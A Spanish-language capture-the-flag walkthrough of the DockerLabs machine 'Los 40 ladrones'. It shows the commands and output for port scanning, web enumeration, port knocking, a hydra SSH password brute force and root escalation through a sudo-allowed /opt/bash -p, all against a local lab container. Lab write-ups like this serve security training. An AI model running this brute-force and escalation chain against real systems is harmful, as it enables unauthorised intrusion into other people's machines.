murrusko

Los 40 ladrones

04 Jul 2024

image

Estamos ante un docker que contiene una distribución Linux. Es de nivel fácil y es de la plataforma dockerlabs.

Enumeración

Ponemos el docker en marcha con el auto_deploy.sh que trae el zip. Cuando termina de cargar nos indica la dirección IP de nuestra víctima, en nuestro caso es 172.17.0.2.

Empezamos realizando un escaneo de puertos con nmap. Hacemos un escaneo silencioso-sS, a todos los puertos -p-, que nos de detalles del escaneo -v, que no haga ping al host -Pn, que no haga resolución de DNS -n a nuestra máquina victima 172.17.0.2:

$ sudo nmap -sS -p- -Pn -n -v 172.17.0.2
PORT   STATE SERVICE
80/tcp open  http

Vemos que solo tiene el puerto 80 abierto. Vamos a realizar otro escaneo con nmap pero esta vez para detectar la versión del servicio que este corriendo, -sV, y para ejecutar los scripts por defecto para detectar vulnerabilidades, -sC:

$ sudo nmap -sCV -p80 -v 172.17.0.2
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
| http-methods: 
|_  Supported Methods: OPTIONS HEAD GET POST

Vemos que la web es una página por defecto de la instalación de apache. Buscamos directorios y ficheros en el servidor con feroxbuster. Buscamos las extensiones php, html y txt:

$ feroxbuster -u http://172.17.0.2 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -r -d 2 -x php,html,txt
200      GET      367l      977w    10792c http://172.17.0.2/index.html
200      GET       22l      105w     5952c http://172.17.0.2/icons/ubuntu-logo.png
200      GET      367l      977w    10792c http://172.17.0.2/200      GET        3l       20w      111c http://172.17.0.2/qdefense.txt

Encontramos un fichero llamado qdefense.txt. Lo descargamos y leemos su contenido:

$ curl http://172.17.0.2/qdefense.txt
Recuerda llama antes de entrar , no seas como toctoc el maleducado
7000 8000 9000
busca y llama +54 2933574639

De el fichero obtenemos que hay un user llamado toctoc y una secuencia de números que puede ser una secuencia de Port Knocking. El port knocking es un mecanismo para abrir puertos externamente en un firewall mediante una secuencia preestablecida de intentos de conexión a puertos que se encuentran cerrados. Una vez que el firewall recibe una secuencia de conexión correcta, sus reglas son modificadas para permitir al host que realizó los intentos conectarse a un puerto específico.

Para instalar en kali el comando knock realizamos lo siguiente: sudo apt update && sudo apt install -y knockd

Después golpeamos los puertos en la secuencia que hemos visto:

$ knock -v 172.17.0.2 7000 8000 9000
hitting tcp 172.17.0.2:7000
hitting tcp 172.17.0.2:8000
hitting tcp 172.17.0.2:9000

Realizamos un nuevo escaneo de puertos:

$ sudo nmap -sS -p- -Pn -n -v 172.17.0.2
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Ahora ya tenemos el puerto 22 abierto. Como tenemos un user del sistema vamos a probar a buscar la contraseña de dicho usuario con hydra:

$ hydra -l toctoc -P /usr/share/wordlists/rockyou.txt -t 64 -VIf ssh://172.17.0.2
...
826 of 14344401 [child 12] (0/2)
[22][ssh] host: 172.17.0.2   login: toctoc   password: kittycat
[STATUS] attack finished for 172.17.0.2 (valid pair found)

Nos conectamos con la password recién encontrada:

$ ssh toctoc@172.17.0.2                 
toctoc@172.17.0.2's password: 
Welcome to Ubuntu 24.04 LTS (GNU/Linux 6.8.11-amd64 x86_64)

Vemos si el usuario toctoc puede ejecutar algún comando como root:

toctoc@50a589993c7e:~$ sudo -l
Matching Defaults entries for toctoc on 50a589993c7e:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User toctoc may run the following commands on 50a589993c7e:
    (ALL : NOPASSWD) /opt/bash
    (ALL : NOPASSWD) /ahora/noesta/function
toctoc@50a589993c7e:~$

Puede ejecutar /opt/bash como root. Como sabemos ejecutando /opt/bash -p podemos obtener acceso como root. El problema es que en /opt no hay ningún fichero.

Buscamos por el sistema en busca de algún fichero y encontramos lo siguiente en el fichero .bashrc:

function backdoor(){
        echo 'Tal vez una puerta trasera poco discreta'
        echo '5432 3629 9123'
        echo 'Aparecio......'
}

Volvemos a “tocar” los puertos que nos indica:

$ knock -v 172.17.0.2 5432 3629 9123
hitting tcp 172.17.0.2:5432
hitting tcp 172.17.0.2:3629
hitting tcp 172.17.0.2:9123

Y haciendo un listado de /opt vemos que ahora si está bash:

toctoc@50a589993c7e:~$ ls -la /opt/
total 1424
drwxr-xr-x 1 root root    4096 Jul  6 05:58 .
drwxr-xr-x 1 root root    4096 Jul  6 05:38 ..
-rwsr-S--- 1 root root 1446024 Jul  6 05:58 bash

Lo ejecutamos como root:

toctoc@50a589993c7e:~$ sudo /opt/bash -p
root@50a589993c7e:/home/toctoc# whoami; hostname; date
root
50a589993c7e
Fri Jul  5 08:20:09 +10 2024